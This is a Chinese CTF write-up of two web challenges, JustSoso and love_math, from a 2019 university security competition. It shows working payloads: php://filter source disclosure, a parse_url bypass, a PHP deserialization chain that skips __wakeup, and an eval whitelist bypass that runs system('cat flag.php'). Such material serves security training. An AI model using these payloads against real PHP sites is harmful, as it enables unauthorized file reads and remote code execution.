

2019全国大学生信息安全竞赛部分Web writeup

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JustSoso

0x01

审查元素发现了提示, 伪协议拿源码

`/index.php?file=php://filter/read=convert.base64-encode/resource=index.php`

```
1 <?php
2 error_reporting(0);
3 $file = $_GET["file"];
4 $payload = $_GET["payload"];
5 if (!isset($file)) {
6     echo 'Missing parameter' . '<br>';
7 }
8 if (preg_match("/flag/", $file)) {
9     die('hack attacked!!!');
10 }
11 @include ($file);
12 if (isset($payload)) {
13     $url = parse_url($_SERVER['REQUEST_URI']);
14     parse_str($url['query'], $query);
15     foreach ($query as $value) {
16         if (preg_match("/flag/", $value)) {
17             die('stop hacking!');
18             exit();
19         }
20     }
21     $payload = unserialize($payload);
22 } else {
23     echo "Missing parameters";
24 } ?>
```

`/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php`

```

1 <?php
2 class Handle{
3     private $handle;
4     public function __wakeup(){
5         foreach(get_object_vars($this) as $k => $v) {
6             $this->$k = null;
7         }
8         echo "Waking up\n";
9     }
10    public function __construct($handle) {
11        $this->handle = $handle;
12    }
13    public function __destruct(){
14        $this->handle->getFlag();
15    }
16 }
17
18 class Flag{
19     public $file;
20     public $token;
21     public $token_flag;
22
23     function __construct($file){
24         $this->file = $file;
25         $this->token_flag = $this->token = md5(rand(1,10000));
26     }
27
28    public function getFlag(){
29        $this->token_flag = md5(rand(1,10000));
30        if($this->token === $this->token_flag)
31        {
32            if(isset($this->file)){
33                echo @highlight_file($this->file,true);
34            }
35        }
36    }
37 }
38 ?>

```

0x02

这里用到了`parse_url`函数在解析url时存在的bug

使用`///index.php`的方式使其返回`false`，从而绕过了后面的正则匹配

0x03

构造反序列化

```

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }
}

```

通过指针引用使两变量值相等

`$handle`由`private`修饰，所以要在`Handle`两边加上`%00`

```
0:6:"Handle":1:{s:14:"%00Handle%00handle";0:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
```

`_wakeup()`绕过

反序列化时，如果表示对象属性个数的值大于真实的属性个数时就会跳过`_wakeup()`的执行

```
0:6:"Handle":2:{s:14:"%00Handle%00handle";0:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
```

最终payload为:

```
///index.php?file=hint.php&payload=0:6:"Handle":2:{s:14:"%00Handle%00handle";0:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
```

love_math

0x01

审查元素，在js代码中发现`calc.php`，访问得到源码

```
<script>
  $('#calc').submit(function(){ $.ajax({ url:"calc.php?c="+encodeURIComponent($("#content").val()), type:'GET',
  success:function(data){ $("#result").html("<div class='alert alert-success'> <strong>答案:</strong>${data} </div>");
  error:function(){ alert("连接失败!"); } }) return false; })
</script>
```

```

1 <?php
2 error_reporting(0);
3 //听说你很喜欢数学，不知道你是否爱它胜过爱flag
4 if(!isset($_GET['c'])){
5     show_source(__FILE__);
6 }else{
7     //例子 c=20-1
8     $content = $_GET['c'];
9     if (strlen($content) >= 80) {
10         die("太长了不会算");
11     }
12     $blacklist = [' ', '\t', '\r', '\n', '\\', "'", '"', '\[', '\]'];
13     foreach ($blacklist as $blackitem) {
14         if (preg_match('/' . $blackitem . '/m', $content)) {
15             die("请不要输入奇奇怪怪的字符");
16         }
17     }
18     //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
19     $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert',
'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod',
'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log',
'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round',
'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
20     preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
21     foreach ($used_funcs[0] as $func) {
22         if (!in_array($func, $whitelist)) {
23             die("请不要输入奇奇怪怪的函数");
24         }
25     }
26     //帮你算出答案
27     eval('echo ' . $content . ');');
28 }

```

0x02

经过分析：

有长度限制，不能超过80

虽然有/m，但是\r在黑名单中，所以不存在换行绕过

传给c的参数不能是字母，只允许使用白名单的函数作字符串

要用白名单中的函数将数字转成字母，发现base_convert()和dechex()两个函数

0x03

最终payload:

```

c=$pow%3Dbase_convert(37907361743,10,36)(dechex(1598506324));($pow){0}((($pow)
{1})&0=system&1=cat%20flag.php

```

解释如下：

dechex(1598506324)得到的是_GET进行hex编码的值

base_convert(37907361743,10,36)得到的是函数hex2bin

c的值定义了\$pow=_GET，那么\$\$pow=\$_GET

最后执行的代码为\$_GET{system}(\$_GET{cat flag.php})

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